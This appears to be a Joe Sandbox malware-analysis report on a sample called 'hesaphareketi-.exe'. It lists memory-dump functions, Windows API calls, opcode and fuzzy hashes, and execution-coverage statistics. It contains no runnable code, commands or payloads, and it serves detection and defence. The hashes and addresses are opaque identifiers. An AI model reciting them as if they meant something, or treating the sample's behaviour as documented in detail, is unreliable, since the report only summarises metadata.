Function 0229D469 Relevance: 6.1, APIs: 4, Instructions: 133
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0229D4F6
GetCurrentThread.KERNEL32 ref: 0229D533
GetCurrentProcess.KERNEL32 ref: 0229D570
GetCurrentThreadId.KERNEL32 ref: 0229D5C9

Memory Dump Source

Source File: 00000000.00000002.2065247066.0000000002290000.00000040.00000800.00020000.00000000.sdmp, Offset: 02290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2290000_hesaphareketi-.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 28845269ceecaf0ef7821965c5fe1018a4c13d4541bb2741180fadd3893ff7c0
Instruction ID: 41bd283be1a92d6e7841365651cc76c9fcc0eac155db7575506103b55ae06739
Opcode Fuzzy Hash: 28845269ceecaf0ef7821965c5fe1018a4c13d4541bb2741180fadd3893ff7c0
Instruction Fuzzy Hash: 455169B09003498FDB14EFA9D648BAEBFF1EF48304F208469D419A7365D739A944CF65

Function 0229D478 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0229D4F6
GetCurrentThread.KERNEL32 ref: 0229D533
GetCurrentProcess.KERNEL32 ref: 0229D570
GetCurrentThreadId.KERNEL32 ref: 0229D5C9

Memory Dump Source

Source File: 00000000.00000002.2065247066.0000000002290000.00000040.00000800.00020000.00000000.sdmp, Offset: 02290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2290000_hesaphareketi-.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: de8a1ef8af5a2677d7ffeaf9d5a65be0faf4911fb5e49ac0a9b446553d1180af
Instruction ID: bc96a028db0eeecd4f3c17b6191a53a8d00b2cff74125157ff73694cc3726c17
Opcode Fuzzy Hash: de8a1ef8af5a2677d7ffeaf9d5a65be0faf4911fb5e49ac0a9b446553d1180af
Instruction Fuzzy Hash: 21515AB09003498FDB14EFAAD648B9EBBF5FF48304F208469D019A7365D739A944CF65

Function 0229B1F0 Relevance: 1.7, APIs: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0229B446

Memory Dump Source

Source File: 00000000.00000002.2065247066.0000000002290000.00000040.00000800.00020000.00000000.sdmp, Offset: 02290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2290000_hesaphareketi-.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: de31daf30702046a87fceea1beb1655a657290cf6c056c5571f2924e9ee052d1
Instruction ID: 619b8304f127b21973e2cc0c4b6052ecd88a319526bbba14b0f504678df82bc1
Opcode Fuzzy Hash: de31daf30702046a87fceea1beb1655a657290cf6c056c5571f2924e9ee052d1
Instruction Fuzzy Hash: 7F714670A10B058FDB24DFA9E05475ABBF5FF88304F00892DD44ADBA54D775E945CB90

Function 049B1CE4 Relevance: 1.6, APIs: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 049B1E02

Memory Dump Source

Source File: 00000000.00000002.2071884045.00000000049B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_49b0000_hesaphareketi-.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 0a63e1312ad2c36613a05779469e8c7a0f6c9de575ed1d5e2dce6d623ac94b48
Instruction ID: 80fae1895c114a11edde47f1d4239935f8b871724943b6713f5889b0a1002028
Opcode Fuzzy Hash: 0a63e1312ad2c36613a05779469e8c7a0f6c9de575ed1d5e2dce6d623ac94b48
Instruction Fuzzy Hash: 9251C0B1D00349DFDF14CF99C985ADEBBB6BF48350F24812AE819AB210D775A845CF90

Function 049B1CF0 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 049B1E02

Memory Dump Source

Source File: 00000000.00000002.2071884045.00000000049B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_49b0000_hesaphareketi-.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: a45a3b49e7b78e907dce34456fe53839ac073b5fbcbc9d353cbb2f2041b8898c
Instruction ID: 8f39b566c3e46cb94797972876a31968e569a99a4f96d591bd9cfaa05abc3e73
Opcode Fuzzy Hash: a45a3b49e7b78e907dce34456fe53839ac073b5fbcbc9d353cbb2f2041b8898c
Instruction Fuzzy Hash: 7841B0B1D00309DFDF14CF99C995ADEBBB5BF88350F24812AE819AB210D775A945CF90

Function 049B0BFC Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 049B4381

Memory Dump Source

Source File: 00000000.00000002.2071884045.00000000049B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_49b0000_hesaphareketi-.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 0faaaa4944401647f111990f4d2488a0254ac3f58ae4d7e09962de80c3d3bc05
Instruction ID: 583cc320c1ab43b5890023fd6ae6e01e2c89724978ef766573851c7806d5a233
Opcode Fuzzy Hash: 0faaaa4944401647f111990f4d2488a0254ac3f58ae4d7e09962de80c3d3bc05
Instruction Fuzzy Hash: 2F4129B4A00309DFDB14CF99C548AAABBF5FF88314F24C469D559A7321D375A841DBA0

Function 022947C4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02295D81

Memory Dump Source

Source File: 00000000.00000002.2065247066.0000000002290000.00000040.00000800.00020000.00000000.sdmp, Offset: 02290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2290000_hesaphareketi-.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: f48c5b34a170022b652a1915c4ec859046156b9da87e7bfa7e2b865720a53417
Instruction ID: e70c85371f0fe3852f48a2caab53060952e52d52de9d5d345473584cafc2dbd1
Opcode Fuzzy Hash: f48c5b34a170022b652a1915c4ec859046156b9da87e7bfa7e2b865720a53417
Instruction Fuzzy Hash: CB41EFB0D0061DCBDF25DFA9C948B9EBBF5BF48304F20806AD418AB258DB756949CF91

Function 02295CC4 Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 02295D81

Memory Dump Source

Source File: 00000000.00000002.2065247066.0000000002290000.00000040.00000800.00020000.00000000.sdmp, Offset: 02290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2290000_hesaphareketi-.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 4c8f753d4ce5c14ed12ee51382baaa19b8c2664872ecfa4880dda008442e5c1b
Instruction ID: a829ba144ed6c8d728629f1831b498355899cb075c8ae72d1b317aca2bd6286e
Opcode Fuzzy Hash: 4c8f753d4ce5c14ed12ee51382baaa19b8c2664872ecfa4880dda008442e5c1b
Instruction Fuzzy Hash: 2C41E0B0D00619CFDF25DFA9C988ACDBBF5BF48304F20806AD418AB255DB75694ACF91

Function 0229D6B8 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0229D747

Memory Dump Source

Source File: 00000000.00000002.2065247066.0000000002290000.00000040.00000800.00020000.00000000.sdmp, Offset: 02290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2290000_hesaphareketi-.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 0ad698f9c15771ba1d00ad333c4e04d216ab018b9cfcd1ad90b7939e7d43a8d5
Instruction ID: fe2fe090585e30d75278c1328bdfdbb2d74a30614464c791de459560d336a91e
Opcode Fuzzy Hash: 0ad698f9c15771ba1d00ad333c4e04d216ab018b9cfcd1ad90b7939e7d43a8d5
Instruction Fuzzy Hash: 642103B59002499FDB10CF9AD984ADEBFF4FB48320F10801AE918A7350C379A941CFA1

Function 0229D6C0 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0229D747

Memory Dump Source

Source File: 00000000.00000002.2065247066.0000000002290000.00000040.00000800.00020000.00000000.sdmp, Offset: 02290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2290000_hesaphareketi-.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 574a80f379c340a9549f10cec7858f152a31465fc260a5717301df01ed8db883
Instruction ID: d0994baaedca3f4bce37fb59796338a492e49c08c6975a8d043ddb2e3bf4d20e
Opcode Fuzzy Hash: 574a80f379c340a9549f10cec7858f152a31465fc260a5717301df01ed8db883
Instruction Fuzzy Hash: 9821E4B59002089FDF10CF9AD984ADEBBF9FB48310F14801AE918A3310C379A940CFA1

Function 0229B660 Relevance: 1.6, APIs: 1, Instructions: 57libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,0229B4C1,00000800,00000000,00000000), ref: 0229B6D2

Memory Dump Source

Source File: 00000000.00000002.2065247066.0000000002290000.00000040.00000800.00020000.00000000.sdmp, Offset: 02290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2290000_hesaphareketi-.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 3c91161e41389ec9b57f9593d339c5b38edc2c1d2686d8d11cfb0021af9f8bd1
Instruction ID: 7b5a8428e89cbfc93cc824c7633970a66cd31dd69bd42edb29b99c463e74b1b7
Opcode Fuzzy Hash: 3c91161e41389ec9b57f9593d339c5b38edc2c1d2686d8d11cfb0021af9f8bd1
Instruction Fuzzy Hash: 511114B69002098FDF10DF9AD884ADEFBF4EF48314F10842ED529A7240C379A546CFA5

Function 0229AC28 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,0229B4C1,00000800,00000000,00000000), ref: 0229B6D2

Memory Dump Source

Source File: 00000000.00000002.2065247066.0000000002290000.00000040.00000800.00020000.00000000.sdmp, Offset: 02290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2290000_hesaphareketi-.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6539afabf73250978617cdfe01448ea26374c265ed75184c914bb61ec8c860a7
Instruction ID: 5d1544a19bc6e86bcf64f2e4d052d5023d6b512d50f266586ffadf4cf7b74db2
Opcode Fuzzy Hash: 6539afabf73250978617cdfe01448ea26374c265ed75184c914bb61ec8c860a7
Instruction Fuzzy Hash: A01114B69003099FDF10DF9AD444A9EFBF4EB48314F10842ED519A7200C379A944CFA4

Function 0229B3E0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0229B446

Memory Dump Source

Source File: 00000000.00000002.2065247066.0000000002290000.00000040.00000800.00020000.00000000.sdmp, Offset: 02290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2290000_hesaphareketi-.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 81d5a4928a3e6f84e2ad278b8f55266145aba54f7151ae2ea07a1d14a3fc1138
Instruction ID: 54f1ed412c6639f0f1b8615b1e2e703b50244d88fd0f01d20d6be6472e69e1ee
Opcode Fuzzy Hash: 81d5a4928a3e6f84e2ad278b8f55266145aba54f7151ae2ea07a1d14a3fc1138
Instruction Fuzzy Hash: 68110FB5C002498FDB10DF9AD444A9EFBF4AF89314F10845AD829A7200C379A545CFA1

Function 00B9D650 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2060465705.0000000000B9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b9d000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2d9c767fae3d0d72825bfe0ddef469edd6e39c85c6d6ee1e2591205744a0622
Instruction ID: 5ad45c3ee9dc6e8b08ba1d95b182293d0e8133139eedcbbb9b3a1b7bb3f34d0d
Opcode Fuzzy Hash: f2d9c767fae3d0d72825bfe0ddef469edd6e39c85c6d6ee1e2591205744a0622
Instruction Fuzzy Hash: AF21F1B2500244DFCF059F54D9C0F26BFA5FB98314F2486B9E9490B256C33AD816DBA1

Function 00B9D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2060465705.0000000000B9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b9d000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 188ec556da449c4216e4bdf9760740196442f0f9be4f84a45becc8696b622bdd
Instruction ID: 4980369224cdac06f9e8fa352ff074a5bb6f056db41539ef737f45ebc2e2314c
Opcode Fuzzy Hash: 188ec556da449c4216e4bdf9760740196442f0f9be4f84a45becc8696b622bdd
Instruction Fuzzy Hash: 8921FF71500240DFDF05DF14D9C0B26BFA5FBA8318F20C5B9E9090B266C33AD816DBA2

Function 00BAD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2061401821.0000000000BAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bad000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef70ca2851f71a5133c32347c9e7f15d7da3529a443b6f5268a9a47dea688fe2
Instruction ID: eff49fffa30d6cf41ae87b146dd37947e36621e36e40b4bd36967efb60652c6f
Opcode Fuzzy Hash: ef70ca2851f71a5133c32347c9e7f15d7da3529a443b6f5268a9a47dea688fe2
Instruction Fuzzy Hash: 8B21F271608204DFCB24DF24D9D4B26BFA5FB89314F20C5ADD94A4B696C33AD807CA61

Function 00BAD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2061401821.0000000000BAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bad000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8331c839963fb6d6f2e0bd8c87bb31a0786d8a332b8baeb73b38d94578bc8c43
Instruction ID: c848d6b452d025359c6a2c0db689c1f4b2925d14815c411b9c5b92abba289861
Opcode Fuzzy Hash: 8331c839963fb6d6f2e0bd8c87bb31a0786d8a332b8baeb73b38d94578bc8c43
Instruction Fuzzy Hash: B9210471608304EFDB05DF24D9C0F26BBA5FB89314F20C5ADE90A4B696C33AD806CA61

Function 00BAD006 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2061401821.0000000000BAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bad000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5733e3eca8a29fa10c9803b95199349ef25cd05ff657ac3a976f41fd1175dcb2
Instruction ID: 4708b0af4a2130720381ad75ac8aeeb6fcf444bceeff7f6079d8b8ec41e57e4b
Opcode Fuzzy Hash: 5733e3eca8a29fa10c9803b95199349ef25cd05ff657ac3a976f41fd1175dcb2
Instruction Fuzzy Hash: 302184755093808FDB16CF24D594715BFB1EB46314F28C5DAD8498B697C33AD80ACB62

Function 00B9D64B Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2060465705.0000000000B9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b9d000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4df52cb15700b59c5b6b401fa95ea1d4e97f6e18881beb99e30f99f1fcf6035
Instruction ID: 11a66d7429030ba8dd63af470ccf8dbf92787ca28257738a104963e675bf0b79
Opcode Fuzzy Hash: b4df52cb15700b59c5b6b401fa95ea1d4e97f6e18881beb99e30f99f1fcf6035
Instruction Fuzzy Hash: C821A276504280DFCF06CF54D9C4B16BFB2FB98314F24C6A9D9490B256C33AD816DB91

Function 00B9D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2060465705.0000000000B9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b9d000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: ace71402e105f9dddcc2f422a0b7b7c31ca1df7c4b9a3aea44e16a4aaf4c25bc
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: DF11D376504280CFCF16CF14D5C4B16BFB1FBA8314F24C6A9D9494B656C336D85ACBA2

Function 00BAD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2061401821.0000000000BAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bad000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: 3f987c55742dddc642ccde5cec8584f1eeb0b034def6ca6e4324491dc3d654f4
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: CE118B75508380DFDB16CF14D5C4B15BBA1FB85314F24C6A9D84A4B6A6C33AD84ACB62

Function 00B9D7C5 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2060465705.0000000000B9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b9d000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41a2820e55120b2cb063358ce13bf9a4abde43f6510b62efe922172fd960fdc1
Instruction ID: c68cda7ddd7c9cefbc2faf74330e35b77ae8bf1788a5129b78c562e8a7c2087c
Opcode Fuzzy Hash: 41a2820e55120b2cb063358ce13bf9a4abde43f6510b62efe922172fd960fdc1
Instruction Fuzzy Hash: D401FC310043409ADF208A5BCDC4756BFDCEF55320F14C4BAED091A257C23D9C00C671

Function 00B9D7C4 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2060465705.0000000000B9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b9d000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29cafa0aa826aa2cbf4aba5efe77502e01e1b7d3f45ee65bb4526d2259618c59
Instruction ID: e4a6beec61cb9e572c5c3b4ac8a95daac72b383e20b647a6b5ce16a47a0cd266
Opcode Fuzzy Hash: 29cafa0aa826aa2cbf4aba5efe77502e01e1b7d3f45ee65bb4526d2259618c59
Instruction Fuzzy Hash: 74F06271405344AEEB108E1ADDC4B62FFE8EF55774F18C4AAED485A287C2799844CAB1

Non-executed Functions

Function 049B8658 Relevance: 1.4, Strings: 1, Instructions: 171COMMON

Download Yara Rule

Strings

, xrefs: 049B876E

Memory Dump Source

Source File: 00000000.00000002.2071884045.00000000049B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_49b0000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 64095b9c0977c8800c1117f1a9aa0902ab411edd7f5fde0a24d813eed1352436
Instruction ID: a31ef1a44fd3e6e001badd2eee510237514eb552257cdedc732960e2571a35bb
Opcode Fuzzy Hash: 64095b9c0977c8800c1117f1a9aa0902ab411edd7f5fde0a24d813eed1352436
Instruction Fuzzy Hash: 7D51CD35B101058FCB14DF6DD9805AEBBF6FBC8219B14857AE509DB359EB34EC028B90

Function 049B0040 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2071884045.00000000049B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_49b0000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7feabb5198623c674cb025ee6966c1c6d28ca36e66344f266fa9c5da877a4fb
Instruction ID: 139b1ec2540eb52dda203a7bcae1f785575fe6f9fc6f3248ab3ff64772641ad9
Opcode Fuzzy Hash: d7feabb5198623c674cb025ee6966c1c6d28ca36e66344f266fa9c5da877a4fb
Instruction Fuzzy Hash: 7212B4B0D817468AD752DFA5F84C1893BB2BB85319FD04B09E2612F2E5DBB8117ACF44

Function 0229E02C Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2065247066.0000000002290000.00000040.00000800.00020000.00000000.sdmp, Offset: 02290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2290000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c915dcc96bd6c21bf766f5438ca8ad3c4420fb04e11d6e985865015083dbe355
Instruction ID: 1e0c02656dd653d3a557ee4b63b3540fb5a453b29eef843991a129c540cbe134
Opcode Fuzzy Hash: c915dcc96bd6c21bf766f5438ca8ad3c4420fb04e11d6e985865015083dbe355
Instruction Fuzzy Hash: F0A14B32E2030A8FCF09DFB4C9445AEB7B2FF85304B15456AE805AB269DB31E956CF40

Function 049B0007 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2071884045.00000000049B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_49b0000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ced9efdc3995f821f9be560784d16e7f7b46de2523c24d0c98be56193ae30e0
Instruction ID: c6f04ba177be0ea60b206eea2b782233cc7e1e0779a640bb01e2f146b2c50b19
Opcode Fuzzy Hash: 4ced9efdc3995f821f9be560784d16e7f7b46de2523c24d0c98be56193ae30e0
Instruction Fuzzy Hash: F6C115B0C817468BD712DFA5F84C1897BB2BB85319F944B09E2616F2E1DBB8147ACF44

Function 049B7758 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2071884045.00000000049B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_49b0000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd58152184546d209f528e3398f8c0cfb90805994913d766714576f70e996f22
Instruction ID: 040bf1a41fc56b2750ae55b18c038560543e140dd885a49121b71d00c96567af
Opcode Fuzzy Hash: dd58152184546d209f528e3398f8c0cfb90805994913d766714576f70e996f22
Instruction Fuzzy Hash: 0C411478E5111E9FDF14CFA9E9819EDF3B2BF89304B14E215E016EB295DA31A801CB44

Analysis Process: hesaphareketi-.exePID: 5300, Parent PID: 6516COMMON

Execution Graph

Execution Coverage:	8.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	45
Total number of Limit Nodes:	8

Executed Functions

Function 01709BB8 Relevance: 2.8, Instructions: 2807COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4490894238.0000000001700000.00000040.00000800.00020000.00000000.sdmp, Offset: 01700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1700000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20d7c465667fca4b327dc4d172c68bd61588cb8721ff622f622de3a8ad560d56
Instruction ID: 42f1da9a071cbbc5ad105a76c6af988a82566fff2efc0a295c7d974f027f2c97
Opcode Fuzzy Hash: 20d7c465667fca4b327dc4d172c68bd61588cb8721ff622f622de3a8ad560d56
Instruction Fuzzy Hash: 3D53E631D10B1ACACB51EF68C8805A9F7B1FF99300F15D79AE4587B121EB70AAD5CB81

Function 01704A60 Relevance: 2.8, Strings: 2, Instructions: 266
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

],{h, xrefs: 01704A7F
],{h, xrefs: 01704A9F

Memory Dump Source

Source File: 00000008.00000002.4490894238.0000000001700000.00000040.00000800.00020000.00000000.sdmp, Offset: 01700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1700000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: ],{h$],{h
API String ID: 0-1926652952
Opcode ID: 55a987bdc109bd0a0f9ecf13fb69ab394ad34172341e93d575f54280296126a0
Instruction ID: b677d096b8d61a7532d02a76f98f9f51a73eb98adc15ea057db206482f2959e5
Opcode Fuzzy Hash: 55a987bdc109bd0a0f9ecf13fb69ab394ad34172341e93d575f54280296126a0
Instruction Fuzzy Hash: C7B16FB0E00709CFDF11CFA9D98179EFBF2AF88314F148529D616A7294EB749881CB81

Function 01703E48 Relevance: 2.7, Strings: 2, Instructions: 238
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

],{h, xrefs: 01703E87
],{h, xrefs: 01703E67

Memory Dump Source

Source File: 00000008.00000002.4490894238.0000000001700000.00000040.00000800.00020000.00000000.sdmp, Offset: 01700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1700000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: ],{h$],{h
API String ID: 0-1926652952
Opcode ID: 8faa6928e4d6ededab1bf88157d34824ac697d47020cbb0dbfd0c2cdf206cb54
Instruction ID: b3c36c7ea4cabe1f883597267618d7376235fb8e77b90c9bbd32acc1738955cc
Opcode Fuzzy Hash: 8faa6928e4d6ededab1bf88157d34824ac697d47020cbb0dbfd0c2cdf206cb54
Instruction Fuzzy Hash: D49139B0E00309DFDB11CFA9C98579DFBF2BF88314F148129E519A7294EB749886CB91

Function 0170CE38 Relevance: 2.3, Instructions: 2333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4490894238.0000000001700000.00000040.00000800.00020000.00000000.sdmp, Offset: 01700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1700000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02f4619dd033645c9622f3ee3173f9b04fc04fe4f1c4d06dc809193fc0f87558
Instruction ID: 71615d3e1a46a903428c0f48eb17af84d9d51f2ed3ae732211d3db9cf4810bde
Opcode Fuzzy Hash: 02f4619dd033645c9622f3ee3173f9b04fc04fe4f1c4d06dc809193fc0f87558
Instruction Fuzzy Hash: 6E331C31D10719CEDB11EF68C8846ADF7B1FF99300F15C69AE448A7261EB70AAD5CB81

Function 01709400 Relevance: .6, Instructions: 615COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4490894238.0000000001700000.00000040.00000800.00020000.00000000.sdmp, Offset: 01700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1700000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b1c667bf09cf026aae7a9c42022d2003408d4774d54d266acfeb76f24278b6b
Instruction ID: f8437a368d9f6d1a13f6cceae87837376763d21e42a6edb0355b66a8b2bc3b91
Opcode Fuzzy Hash: 2b1c667bf09cf026aae7a9c42022d2003408d4774d54d266acfeb76f24278b6b
Instruction Fuzzy Hash: 8A327D75A00205CFDB15CFA8D984BADBBF2EB88314F148469E609EB396DB34DC41CB90

Function 065AE098 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

],{h, xrefs: 065AE18F

Memory Dump Source

